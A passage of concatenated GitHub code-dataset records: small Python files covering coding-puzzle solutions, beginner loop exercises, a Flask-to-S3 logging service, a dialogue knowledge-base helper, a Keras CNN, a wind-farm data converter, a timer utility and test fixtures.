df.to_csv(\"mobileNet_large.csv\")","repo_name":"mycano/dnn-layer-runtime","sub_path":"test_mobileNet.py","file_name":"test_mobileNet.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23561370021","text":"def is_tidy(n):\n last = 9\n while n > 0:\n if last < (n % 10):\n return False\n\n last = n % 10\n n //= 10\n\n return True\n\ndef main():\n t = int(input())\n\n for j in range(t):\n\n number = int(input())\n n = number\n last = 9\n\n while n > 0:\n if last < (n % 10):\n number -= (number % 10) + 1\n n = number\n\n last = n % 10\n n //= 10\n\n\n print(\"Case #{}:\".format(j+1), number)\n\nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4368.py","file_name":"4368.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32225278861","text":"from typing import List\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \nclass Solution:\n balanced = True\n def isBalanced(self, root: Optional[TreeNode]) -> bool:\n \n def dfs(node):\n if not node: return 0\n left_depth = dfs(node.left)\n right_depth = dfs(node.right)\n depth = max(right_depth, left_depth) + 1\n if abs(right_depth - left_depth) > 1:\n self.balanced = False\n return depth\n dfs(root)\n return self.balanced","repo_name":"chrisbyd/leetcode_chris","sub_path":"tree/110.py","file_name":"110.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26588391928","text":"\n#while loop\n#1.simple while loop\nprint(\"1.simple while loop\")\ncount=0\nwhile count < 5:\n count += 1\n print(count)\n\n#2. while with break\nprint(\"2. while with break\")\ncount=0\nwhile count < 5:\n count += 1\n print(count)\n if count == 2:\n break;\n\n\n#3. while with continue\nprint(\"3. while with continue\")\ncount=0\nwhile count < 5:\n count += 1\n if count == 2:\n continue; #skip printing 2\n print(count)\n\n#4. while with else\nprint(\"3. while with else\")\ncount=6\nwhile count < 5:\n count += 1\n if count == 2:\n continue; #skip printing 2\n print(count)\nelse:\n print(\"while loop is not executed...else block executed.\")\n\n#for loops\nfruits = [\"apple\", \"banana\", \"cherry\"]\n#1. simple for loop\nprint('1. simple for loop')\nfor item in fruits:\n print(item)\n\n#for - else\n#for break\n#for continue\n#for with pass\n\n#range function\nprint(\"for loop with range function\")\nfor x in range(5):#0 to 4\n print(x)","repo_name":"hencilpeter/DataEngineering","sub_path":"BigData/PythonSamples/16_while_for_loops.py","file_name":"16_while_for_loops.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33579008031","text":"from flask import Flask\nfrom os import environ\nimport io\nimport boto3\nimport pandas as pd\nimport numpy as np\nfrom flask import request, jsonify\nimport json\nfrom datetime import datetime\n\n\napp = Flask(__name__)\n\nbucket_name = environ.get('BUCKETNAME')\nAWS_ACCESS_KEY_ID = environ.get(\"AWS_ACCESS_KEY_ID\")\nAWS_SECRET_ACCESS_KEY = environ.get(\"AWS_SECRET_ACCESS_KEY\")\n\n\n@app.route('/' , methods=['GET'])\ndef hello():\n return 'Hello From myTD Service !'\n\n@app.route('/new', methods=['POST' , 'GET'])\ndef newProject():\n client = boto3.client(\n 's3',\n aws_access_key_id = AWS_ACCESS_KEY_ID,\n aws_secret_access_key = AWS_SECRET_ACCESS_KEY ,\n region_name = 'us-east-1'\n )\n clientResponse = client.list_buckets()\n # print('Printing bucket names...')\n bucketArray = []\n for bucket in clientResponse['Buckets']:\n bucketArray.append(bucket[\"Name\"])\n # print(f'Bucket Name: {bucket[\"Name\"]}')\n if bucket_name not in bucketArray:\n ##Creat a new bucket \n # location = {'LocationConstraint': 'us-east-1'}\n client.create_bucket(\n Bucket=bucket_name\n )\n# record = json.loads(request.data)\n# id = record['input']['Id']\n# Age = record['input']['Age']\n Age = 23\n id = \"127\"\n now = datetime.now()\n record = {\"Age\" : Age , \"id\":id}\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n logId = id + \"_\" + str(Age) + str(dt_string)\n data=np.array([[logId , \"Output Value\" , str(record)]])\n logs_df = pd.DataFrame(\n data,\n columns=[[\"Log Id\", \"Input_json\", \"Output_Json\"]],\n ).reset_index()\n # print(logs_df)\n with io.StringIO() as csv_buffer:\n\n # obj = client.get_object(Bucket=bucket_name, Key='files/logs.csv')\n # allLogs_df = pd.read_csv(obj['Body']).reset_index(drop=True)\n # allLogs_df =allLogs_df.append(logs_df).reset_index()\n # allLogs_df.to_csv(csv_buffer, index=False)\n\n logs_df.to_csv(csv_buffer, index=False)\n fileName = \"files/\" + logId + \".csv\"\n\n response = client.put_object(\n Bucket=bucket_name, Key=fileName, Body=csv_buffer.getvalue()\n )\n\n status = response.get(\"ResponseMetadata\", {}).get(\"HTTPStatusCode\")\n\n if status == 200:\n print(f\"Successful S3 put_object response. Status - {status}\")\n else:\n print(f\"Unsuccessful S3 put_object rbooks_esponse. Status - {status}\")\n\n return 'Excited for the new project, Logs Stored Successfully in S3 Bucket defined !'\n\nif __name__ == \"__main__\":\n app.run(host ='0.0.0.0', port = 80, debug = True)\n\n\n\n## Takes input as json and outputs of allocation from the model (Dummy data for now)\n\n## For every request and response hit ,\n# Write it back into s3 , $ things : unique Id , date , time , mins , status.\n\n\n","repo_name":"Akshay5555/Hello_world","sub_path":"HelloWorld.py","file_name":"HelloWorld.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28631568102","text":"\"\"\"\r\nCreated on May 18, 2017\r\n\r\n@author: Haley\r\n\"\"\"\r\n\r\nimport copy\r\nimport os\r\nimport sys\r\nfrom collections import defaultdict\r\nfrom dqn import dialog_config\r\nsys.path.append(os.getcwd())\r\nsys.path.append(os.path.pardir)\r\nfrom utils.query import *\r\n\r\nclass KBHelper:\r\n \"\"\" An assistant to fill in values for the agent (which knows about slots of values) \"\"\"\r\n\r\n def __init__(self, course_dict):\r\n \"\"\" Constructor for a KBHelper \"\"\"\r\n\r\n self.course_dict = course_dict\r\n self.cached_kb = defaultdict(list)\r\n self.cached_kb_slot = defaultdict(list)\r\n\r\n\r\n def fill_inform_slots(self, inform_slots_to_be_filled, current_slots):\r\n \"\"\" Takes unfilled inform slots and current_slots, returns dictionary of filled informed slots (with values)\r\n @Arguments:\r\n inform_slots_to_be_filled -- Something that looks like {title: None,\r\n instructor: None} where title and\r\n instructor are slots that the agent needs\r\n filled\r\n current_slots -- Contains a record of all filled slots in the\r\n conversation so far - for now,\r\n just use current_slots['inform_slots'] which is a dictionary of the already filled-in slots\r\n @Returns:\r\n filled_in_slots -- A dictionary of form like:\r\n {slot1: value1, slot2: value2}\r\n for each slot in inform_slots_to_be_filled\r\n \"\"\"\r\n # print('KB-Helper - fill_inform_slots -> inform_slots_to_be_filled: \\n\\t', inform_slots_to_be_filled, '\\n')\r\n # print('KB-Helper - fill_inform_slots -> current_slots: \\n\\t', current_slots, '\\n')\r\n\r\n kb_results = self.available_results_from_kb(current_slots)\r\n if dialog_config.auto_suggest == 1:\r\n print('KB-Helper - fill_inform_slots -> Number of courses in KB satisfying current constraints:\\n\\t', len(kb_results), '\\n')\r\n\r\n # print('KB-Helper - fill_inform_slots -> kb_results: \\n\\t', kb_results, '\\n')\r\n\r\n filled_in_slots = {}\r\n # if 'taskcomplete' in inform_slots_to_be_filled.keys():\r\n # filled_in_slots.update(current_slots['inform_slots'])\r\n\r\n for slot in inform_slots_to_be_filled.keys():\r\n # if slot == 'title':\r\n # if slot in current_slots['inform_slots'].keys():\r\n # filled_in_slots[slot] = current_slots['inform_slots'][slot]\r\n # elif slot in inform_slots_to_be_filled.keys():\r\n # filled_in_slots[slot] = inform_slots_to_be_filled[slot]\r\n # continue\r\n\r\n # if slot == 'ticket' or slot == 'taskcomplete':\r\n # filled_in_slots[slot] = dialog_config.TICKET_AVAILABLE if len(kb_results)>0 else dialog_config.NO_VALUE_MATCH\r\n # continue\r\n\r\n # if slot == 'closing': continue\r\n\r\n ####################################################################\r\n # Grab the value for the slot with the highest count and fill it\r\n ####################################################################\r\n # values_dict = dict(keys: slot_name, vals: count)\r\n values_dict = self.available_slot_values(slot, kb_results)\r\n\r\n values_counts = [(v, values_dict[v]) for v in values_dict.keys()]\r\n if len(values_counts) > 0:\r\n filled_in_slots[slot] = sorted(values_counts, key=lambda x: -x[1])[0][0]\r\n else:\r\n filled_in_slots[slot] = dialog_config.NO_VALUE_MATCH # \"NO VALUE MATCHES SNAFU!!!\"\r\n\r\n return filled_in_slots\r\n\r\n def fill_choice_slots(self, user_action, current_slots):\r\n \"\"\" Takes unfilled inform slots and current_slots, returns dictionary of filled informed slots (with values)\r\n @Arguments:\r\n user_action -- Last user action\r\n (determine the keys of choice slot)\r\n current_slots -- Contains a record of all filled slots in the\r\n conversation so far - for now,\r\n just use current_slots['inform_slots'] which is a dictionary of the already filled-in slots\r\n @Returns:\r\n choice_slot -- A list of dictionaries of form like:\r\n [{slot1: value1}, {slot1: value2}]\r\n for each element in choice_slots_to_be_filled\r\n \"\"\"\r\n # print('KB-Helper - fill_inform_slots -> user_action: \\n\\t', user_action, '\\n')\r\n # print('KB-Helper - fill_inform_slots -> current_slots: \\n\\t', current_slots, '\\n')\r\n\r\n kb_results = self.available_results_from_kb(current_slots)\r\n if dialog_config.auto_suggest == 1:\r\n print('KB-Helper - fill_choice_slots -> Number of courses in KB satisfying current constraints:\\n\\t', len(kb_results), '\\n')\r\n\r\n # print('KB-Helper - fill_choice_slots -> kb_results: \\n\\t', kb_results, '\\n')\r\n\r\n choice_slot = []\r\n for slot in user_action['request_slots'].keys():\r\n values_dict = self.available_slot_values(slot, kb_results)\r\n # print('KB-Helper - fill_choice_slots -> values_dict: \\n\\t', values_dict, '\\n')\r\n values_counts = [(v, values_dict[v]) for v in values_dict.keys()]\r\n print('KB-Helper - fill_choice_slots -> values_counts: \\n\\t', values_counts, '\\n')\r\n if len(values_counts) > 0:\r\n for val in values_counts:\r\n choice_slot.append({slot: val[0]})\r\n # choice_slot.append({slot: sorted(values_counts, key=lambda x: -x[1])[0][0]})\r\n else:\r\n # \"NO VALUE MATCHES SNAFU!!!\"\r\n choice_slot.append({slot: dialog_config.NO_VALUE_MATCH})\r\n\r\n return choice_slot\r\n\r\n def available_slot_values(self, slot, kb_results):\r\n \"\"\" Return the set of values available for the slot based on the current constraints \"\"\"\r\n\r\n slot_values = {}\r\n for course_id in kb_results.keys():\r\n if slot in kb_results[course_id].keys():\r\n slot_val = kb_results[course_id][slot]\r\n if slot_val in slot_values.keys():\r\n slot_values[slot_val] += 1\r\n else:\r\n slot_values[slot_val] = 1\r\n return slot_values\r\n\r\n def available_results_from_kb(self, current_slots):\r\n \"\"\" Return the available courses in the course_kb based on the current constraints \"\"\"\r\n\r\n ret_result = []\r\n current_slots = current_slots['inform_slots']\r\n constrain_keys = current_slots.keys()\r\n\r\n # constrain_keys = filter(lambda k : k != 'closing' , constrain_keys)\r\n constrain_keys = [k for k in constrain_keys if current_slots[k] != dialog_config.I_DO_NOT_CARE]\r\n constrain_keys = [k if k != 'when' else 'schedule_str' for k in constrain_keys]\r\n\r\n query_idx_keys = frozenset(current_slots.items())\r\n cached_kb_ret = self.cached_kb[query_idx_keys]\r\n\r\n cached_kb_length = len(cached_kb_ret) if cached_kb_ret != None else -1\r\n if cached_kb_length > 0:\r\n return dict(cached_kb_ret)\r\n elif cached_kb_length == -1:\r\n return dict([])\r\n\r\n # kb_results = copy.deepcopy(self.course_dict)\r\n for id in self.course_dict.keys():\r\n kb_keys = self.course_dict[id].keys()\r\n if len(set(constrain_keys).union(set(kb_keys)) ^ (set(constrain_keys) ^ set(kb_keys))) == len(constrain_keys):\r\n match = True\r\n for idx, k in enumerate(constrain_keys):\r\n cur_key = 'when' if k == 'schedule_str' else k\r\n if str(current_slots[cur_key]).lower() == str(self.course_dict[id][k]).lower():\r\n continue\r\n else:\r\n match = False\r\n if match:\r\n self.cached_kb[query_idx_keys].append((id, self.course_dict[id]))\r\n ret_result.append((id, self.course_dict[id]))\r\n\r\n if len(ret_result) == 0:\r\n self.cached_kb[query_idx_keys] = None\r\n\r\n ret_result = dict(ret_result)\r\n return ret_result\r\n\r\n def available_results_from_kb_for_slots(self, inform_slots):\r\n \"\"\" Return the count statistics for each constraint in inform_slots \"\"\"\r\n\r\n # print(\"KB-Helper - available_results_from_kb_for_slots -> inform_slots:\")\r\n # for k, v in inform_slots.items():\r\n # print('\\t', \"\\\"%s\\\":\" % k, v)\r\n # print()\r\n\r\n # initialize the database query results\r\n kb_results = {key: 0 for key in inform_slots.keys()}\r\n kb_results['matching_all_constraints'] = 0\r\n\r\n query_idx_keys = frozenset(inform_slots.items())\r\n cached_kb_slot_ret = self.cached_kb_slot[query_idx_keys]\r\n\r\n if len(cached_kb_slot_ret) > 0:\r\n return cached_kb_slot_ret[0]\r\n\r\n # print(\"KB-Helper - available_results_from_kb_for_slots -> inform_slots:\")\r\n # for k, v in inform_slots.items():\r\n # print('\\t', \"\\\"%s\\\":\" % k, v)\r\n # print()\r\n\r\n query_course_list = query_course(inform_slots)\r\n # print(\"KB-Helper - available_results_from_kb_for_slots -> query_course_list:\")\r\n # for c in query_course_list:\r\n # print('\\t', \"\\\"%s\\\":\" % c)\r\n # print()\r\n\r\n kb_results['matching_all_constraints'] = len(query_course(inform_slots))\r\n for slot, val in inform_slots.items():\r\n # slot = 'schedule_str' if slot == 'when' else slot\r\n query_course_list = query_course({slot: val})\r\n if len(query_course_list) == 0:\r\n all_slots_match = 0\r\n else:\r\n kb_results[slot] += len(query_course_list)\r\n\r\n self.cached_kb_slot[query_idx_keys].append(kb_results)\r\n return kb_results\r\n\r\n\r\n def database_results_for_agent(self, current_slots):\r\n \"\"\" A dictionary of the number of results matching each current constraint. The agent needs this to decide what to do next. \"\"\"\r\n\r\n database_results = {}\r\n database_results = self.available_results_from_kb_for_slots(current_slots['inform_slots'])\r\n return database_results\r\n\r\n def suggest_slot_values(self, request_slots, current_slots):\r\n \"\"\" Return the suggest slot values \"\"\"\r\n\r\n avail_kb_results = self.available_results_from_kb(current_slots)\r\n return_suggest_slot_vals = {}\r\n for slot in request_slots.keys():\r\n avail_values_dict = self.available_slot_values(slot, avail_kb_results)\r\n values_counts = [(v, avail_values_dict[v]) for v in avail_values_dict.keys()]\r\n\r\n if len(values_counts) > 0:\r\n return_suggest_slot_vals[slot] = []\r\n sorted_dict = sorted(values_counts, key = lambda x: -x[1])\r\n for k in sorted_dict: return_suggest_slot_vals[slot].append(k[0])\r\n else:\r\n return_suggest_slot_vals[slot] = []\r\n\r\n return return_suggest_slot_vals\r\n","repo_name":"henryyang42/NTU-Course-Bot","sub_path":"dialog_system/kb_helper.py","file_name":"kb_helper.py","file_ext":"py","file_size_in_byte":11382,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"14684638956","text":"import random\r\n\r\nn = random.randint(1,10)\r\n\r\nprint(\"숫자맞추기 게임, 1~10 숫자를 입력\")\r\n\r\nfor i in range(5):\r\n guess = int(input(\"숫자입력->\"))\r\n\r\n if guess == n:\r\n print(\"정답\")\r\n break\r\n\r\n elif guess > n:\r\n print(\"정답보다 큽니다\")\r\n\r\n else:\r\n print(\"정답보다 작습니다\")\r\n\r\n\r\n if i == 4:\r\n print(\"탈락, 기회소진\")\r\n","repo_name":"yingn02/Study","sub_path":"Python/17.난수로업다운.py","file_name":"17.난수로업다운.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70275380355","text":"from tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D\nfrom tensorflow.keras.layers import Activation, Dropout, Flatten, Dense, BatchNormalization\n\ninput_shape = (40,40,1)\n\ndef create_model():\n model = Sequential()\n model.add(Conv2D(32, kernel_size=(3, 3),\n\t\t\t\t\t activation='relu',\n padding='same',\n input_shape=input_shape))\n model.add(BatchNormalization())\n model.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n padding='same',\n name='block2_conv2'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2),\n strides=(2, 2),\n name='block2_pool'))\n model.add(Dropout(0.25))\n\n model.add(Conv2D(64, kernel_size=(3, 3),\n activation='relu',\n padding='same',\n name='block3_conv1'))\n model.add(BatchNormalization())\n model.add(Conv2D(64, kernel_size=(3, 3),\n activation='relu',\n padding='same',\n name='block3_conv2'))\n model.add(BatchNormalization())\n model.add(Conv2D(64, kernel_size=(3, 3),\n activation='relu',\n padding='same',\n name='block3_conv3'))\n model.add(BatchNormalization())\n model.add(MaxPooling2D(pool_size=(2, 2),\n strides=(2, 2),\n name='block3_pool'))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(128, activation='relu'))\n model.add(Dense(64, activation='relu'))\n model.add(Dense(32, activation='relu'))\n model.add(Dense(1, activation='relu'))\n model.add(Activation('linear'))\n\n return model\n\n\n\n\n\n\n","repo_name":"daitranskku/deep-learning-for-laser-ultrasonic-wave-propagation-data","sub_path":"models/cnn_regression_model.py","file_name":"cnn_regression_model.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"7103280091","text":"class Solution:\n def peakIndexInMountainArray(self, arr: List[int]) -> int:\n \n l=0\n h=len(arr)\n\n while(l<=h):\n m=int((l+h)/2)\n\n print(l,h,m)\n if arr[m-1]< arr[m] and arr[m] > arr[m+1]:\n return m\n elif m+1<= len(arr)-1 and arr[m+1]< arr[m]:\n h=m-1\n elif m+1<= len(arr)-1 and arr[m+1] > arr[m]:\n l=m+1\n elif m==len(arr)-1:\n if arr[m-1]> arr[m]: \n h=m-1\n\n ","repo_name":"msaisridattaDev/leetcode","sub_path":"882-peak-index-in-a-mountain-array/peak-index-in-a-mountain-array.py","file_name":"peak-index-in-a-mountain-array.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42004448365","text":"from math import sqrt\r\na = float(input())\r\nb = float(input())\r\nc = float(input())\r\n\r\nif a == 0:\r\n\tprint(\"NEESG\")\r\nelse:\r\n\tdelta = ((b**2) - (4*a*c))\r\n\tif delta < 0:\r\n\t\tprint(\"NRR\")\r\n\telse:\r\n\t\t#print(\"Delta: %f\" %delta)\r\n\t\tx1 = ((b*-1) + sqrt(delta))/(2.0*a)\r\n\t\tx2 = ((b*-1) - sqrt(delta))/(2.0*a)\r\n\t\tprint(\"%.2f\\n%.2f\" %(x1, x2))","repo_name":"jpos2/Scripts","sub_path":"Python/Huxley/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17186161419","text":"\"\"\"\nScript to process wind farm & turbine csv downloaded from: https://eerscmap.usgs.gov/uswtdb/data/\nMetadata description can be found at https://eerscmap.usgs.gov/uswtdb/assets/data/uswtdb_v1_0_20180419.xml\n\nDisregarding the following attributes for now:\nt_rsa turbine rotor swept area square meters\nt_ttlh turbine total height\nt_conf_atr attribute confidence (0-N/A, 1=low, 2=partial, 3=full confidence)\nt_conf_loc location confidence\n\nASSUMPTIONS / PROCESS\n * The script counts rows of spreadsheet to determine number of turbines instead of relying on p_tnum field\n * Don't generate input files when data are missing ('missing' for text fields, -9999 for numeric fields)\n\nFOR USAGE:\npython farm_processor.py -h\n\n\"\"\"\n\nimport json, csv\nimport os, sys, getopt\nimport copy\nimport utm\n\n# path to intermediate file to save processed CSV data\nintermediate_file = 'farms.json'\n# path to json input file template\ntemplate_file = '../inputFormApp/inputFiles/example_input_file.json'\ngenerated_files_directory = './generatedInputFiles'\n\ndef main(argv):\n filename = None\n try:\n opts, args = getopt.getopt(argv,\"hgi:a:\",[\"all=\",\"inputfile=\"])\n except getopt.GetoptError:\n print('Error')\n print('Process csv: farm_processor.py -i ')\n print('Generate input files from processed csv: farm_processor.py -g')\n print('Do both: farm_processor.py -i -a')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print('help')\n print('Process csv: farm_processor.py -i ')\n print('Generate input files from processed csv: farm_processor.py -g')\n print('Do all: farm_processor.py -a ')\n sys.exit()\n elif opt in (\"-i\", \"--inputfile\"):\n filename = arg\n print(\"PROCESS CSV: \", filename)\n process(filename)\n elif opt in (\"-g\"):\n print(\"GENERATE INPUT FILES FROM Intermediate file\")\n generate()\n elif opt in (\"-a\", \"--all\"):\n filename = arg\n print(\"PROCESS CSV AND GENERATE INPUT FILES, CSV: \", filename)\n process(filename)\n generate()\n\n\ndef process(filename):\n \n farms = [] \n farm_cnt = 0\n turbine_cnt = 0\n current_farm = {'name': None, 'layout_x': [], 'layout_y': [], 'number_turbines': 0, 'turbine': {}, 'missing_data': False}\n\n # use p_name for farm name\n with open(filename, 'r') as csvfile:\n reader = csv.DictReader(csvfile)\n \n for row in reader:\n\n # check if we are still processing the same farm\n if not(row['p_name'] == current_farm['name']):\n farm_cnt += 1\n # save old\n if current_farm['name'] is not None:\n # make machine name, strip out spaces, (), and / \n current_farm['name'] = current_farm['name'].lower().replace(' ', '_').replace('/', '_').replace('(', '').replace(')', '')\n farms.append(current_farm)\n\n # new farm\n turbine_cnt = 0 # reset turbine count\n current_farm = {}\n current_farm['missing_data'] = False\n current_farm['name'] = row['p_name']\n current_farm['number_turbines'] = 1\n # current_farm['number_turbines'] = row['p_tnum']\n # put p_cap in farm description (overall capacity in MW)\n current_farm['description'] = row['p_name'];\n if row['p_cap'] is not '-9999':\n current_farm['description'] = current_farm['description'] + ' - ' + row['p_cap'] + ' MW'\n current_farm['description'] = current_farm['description'] + ' - ' + row['t_county'] + ', ' + row['t_state']\n # convert lat/long to x/y\n x,y, _, _ = utm.from_latlon(float(row['ylat']), float(row['xlong']))\n current_farm['layout_x'] = [x]\n current_farm['layout_y'] = [y]\n\n # turbine\n # use t_manu, t_model and t_cap (rated capacity in kW) to make turbine name & description\n # use xlong and ylat for layout array (convert to meters TBD)\n # store t_hh (hub height in m), t_rd (rotor diameter in m)\n current_farm['turbine'] = {}\n current_farm['turbine']['name'] = (row['t_manu'] + ' ' + row['t_model']).lower().replace(' ', '_')\n current_farm['turbine']['description'] = row['t_manu'] + ' ' + row['t_model'] + ' - ' + row['t_cap'] + ' kW'\n current_farm['turbine']['hub_height'] = float(row['t_hh'])\n current_farm['turbine']['rotor_diameter'] = float(row['t_rd'])\n\n # check for missing data (don't create input files for these)\n if row['t_manu'] == 'missing' or row['t_model'] == 'missing' or row['t_cap'] == '-9999':\n # TODO: these are just descriptive data...may want to generate input file anyway\n current_farm['missing_data'] = True\n if current_farm['turbine']['hub_height'] == -9999 or current_farm['turbine']['rotor_diameter'] == -9999 or float(row['xlong']) == -9999 or float(row['ylat']) == -9999:\n # these data are used for non-descriptive fields in the input_file\n current_farm['missing_data'] = True\n else:\n current_farm['number_turbines'] += 1\n x,y, _, _ = utm.from_latlon(float(row['ylat']), float(row['xlong']))\n current_farm['layout_x'].append(x)\n current_farm['layout_y'].append(y) \n\n # save last farm \n farms.append(current_farm) \n\n # save array to json\n farms_json = {'farm_count': farm_cnt, 'farms': farms}\n with open(intermediate_file, 'w') as outfile:\n json.dump(farms_json, outfile, sort_keys=True, indent=2, separators=(',', ': '))\n\n print('DONE processing csv')\n\ndef generate():\n \n # load template\n with open(template_file, 'r') as f:\n template = json.load(f)\n\n # load intermediate file\n with open(intermediate_file, 'r') as f:\n data = json.load(f)\n\n # check if directory exists\n if not os.path.exists(generated_files_directory):\n os.makedirs(generated_files_directory) \n\n # replace relevant values in template\n for farm in data['farms']:\n if farm['missing_data'] is False: \n new_file = copy.deepcopy(template)\n new_file['description'] = farm['description'] + ' FLORIS Input File'\n # farm\n new_file['farm']['description'] = farm['description']\n new_file['farm']['name'] = farm['name']\n new_file['farm']['properties']['layout_x'] = farm['layout_x']\n new_file['farm']['properties']['layout_y'] = farm['layout_y']\n # turbine\n new_file['turbine']['description'] = farm['turbine']['description']\n new_file['turbine']['name'] = farm['turbine']['name']\n new_file['turbine']['properties']['hub_height'] = farm['turbine']['hub_height']\n new_file['turbine']['properties']['rotor_diameter'] = farm['turbine']['rotor_diameter']\n\n # save (use farm machine name as filename)\n with open('./generatedInputFiles/' + new_file['farm']['name'] + '.json', 'w') as f:\n json.dump(new_file, f,sort_keys=True, indent=2, separators=(',', ': '))\n\n print(\"DONE generating input files\")\n\nif __name__ == \"__main__\":\n main(sys.argv[1:]) ","repo_name":"WISDEM/FLORIS","sub_path":"examples/inputDataProcessor/farm_processor.py","file_name":"farm_processor.py","file_ext":"py","file_size_in_byte":7612,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"19324205764","text":"def calc():\n x = float(input('Введите количество отработанных часов согласно графика работы: '))\n y = float(input('Введите сумму оплаты труда сотрудника за 1 час: '))\n c = float(input('Введите размер ужемесячной премии - '))\n pay = x * y\n return pay + c\nprint(f'Размер заработной платы за месяц составил: {calc() }')\n\n_______________________________________________2_________________________________________\n\nresult_list = []\nlist = [int(n) for n in input(\"Введите список чисел: \").split()]\nfor n in range(1, len(list)):\n if list[n] > list[n-1]:\n (result_list.append(list[n]))\nprint(\"Начальный список: \", list)\nprint(\"Список, элементы которого больше предыдущего: \", result_list)\n\n_______________________________________________3__________________________________________\n\nmy_list = [n for n in range(20, 240) if n % 20 == 0 or n % 21 == 0]\n\nprint(\"Список чисел кратных 20 или 21 в диапазоне [20..240]: \", my_list)\n\n_______________________________________________4__________________________________________\n\nmy_list = [2, 2, 2, 7, 23, 1, 44, 44, 3, 2, 10, 7, 4, 11]\nprint(\"Начальные элементы списка:\\n\", my_list)\nnew_list = [n for n in my_list if my_list.count(n) == 1]\nprint(\"Элементы списка, не имеющие повторений:\\n\", new_list)\n\n_______________________________________________5__________________________________________\n\nfrom functools import reduce\n\nlist = [n for n in range(100, 1001, 2)]\nprint(\"Четные числа в диапазоне [100..1000]:\\n\", list)\nprint(\"Произведение всех элементов списка:\\n\", reduce(lambda x,y: x*y, list))\n\n\n","repo_name":"Buanzu/Python","sub_path":"Homework_lesson_4.py","file_name":"Homework_lesson_4.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14413349771","text":"# \"`-''-/\").___..--''\"`-._\n# (`6_ 6 ) `-. ( ).`-.__.`) WE ARE ...\n# (_Y_.)' ._ ) `._ `. ``-..-' PENN STATE!\n# _ ..`--'_..-_/ /--'_.' ,'\n# (il),-'' (li),' ((!.-'\n#\n# Author:\n#\n# Weiming Hu \n#\n# Geoinformatics and Earth Observation Laboratory (http://geolab.psu.edu)\n# Department of Geography and Institute for CyberScience\n# The Pennsylvania State University\n#\n# A simple timer for profiling\n#\n\nimport numpy as np\n\nfrom time import time\n\n\nclass Timer(list):\n\n # The timer log consists of a list of 3 values, namely the name, the start time, and the end time\n _GROUP_LENGTH = 3\n\n def start(self, tag):\n self.extend((tag, time()))\n\n def stop(self):\n self.append(time())\n\n def check_sanity(self):\n assert len(self) % Timer._GROUP_LENGTH == 0, 'Timer has unexpected logs'\n for index in range(0, len(self), Timer._GROUP_LENGTH):\n assert isinstance(self[index], str), 'Timer has unexpected logs'\n assert isinstance(self[index + 1], float), 'Timer has unexpected logs'\n assert isinstance(self[index + 2], float), 'Timer has unexpected logs'\n\n def __str__(self):\n self.check_sanity()\n\n msg = '*************** Simple Clock ***************\\n'\n\n session_names = []\n session_costs = []\n\n for index in range(0, len(self), Timer._GROUP_LENGTH):\n session_names.append(self[index])\n session_costs.append(self[index + 2] - self[index + 1])\n\n total_cost = np.sum(session_costs)\n session_portions = np.array(session_costs) / total_cost * 100\n session_portions = session_portions.tolist()\n\n msg += 'Total wall time: {:.2f} s\\n'.format(total_cost)\n\n for index in range(len(session_names)):\n msg += '{}: {:.2f} s ({:.2f}%)\\n'.format(\n session_names[index], session_costs[index], session_portions[index])\n\n msg += '*********** End of Simple Clock ************'\n\n return msg\n","repo_name":"Weiming-Hu/RenewableSimulator","sub_path":"Timer.py","file_name":"Timer.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24146428753","text":"import pytest\nfrom invenio_app.factory import create_api\nfrom invenio_pidstore.models import PIDStatus\nfrom invenio_pidstore.providers.recordid_v2 import RecordIdProviderV2\n\nfrom invenio_rdm_records.resources import BibliographicDraftActionResource, \\\n BibliographicDraftResource, BibliographicRecordResource\nfrom invenio_rdm_records.services import BibliographicRecordService\nfrom invenio_rdm_records.vocabularies import Vocabularies\n\n\n@pytest.fixture(scope='module')\ndef create_app(instance_path):\n \"\"\"Application factory fixture.\"\"\"\n return create_api\n\n\n@pytest.fixture(scope='module')\ndef app(app):\n \"\"\"app fixture.\"\"\"\n RecordIdProviderV2.default_status_with_obj = PIDStatus.RESERVED\n\n record_draft_service = BibliographicRecordService()\n record_bp = BibliographicRecordResource(\n service=record_draft_service\n ).as_blueprint(\"bibliographic_record_resource\")\n draft_bp = BibliographicDraftResource(\n service=record_draft_service\n ).as_blueprint(\"bibliographic_draft_resource\")\n draft_action_bp = 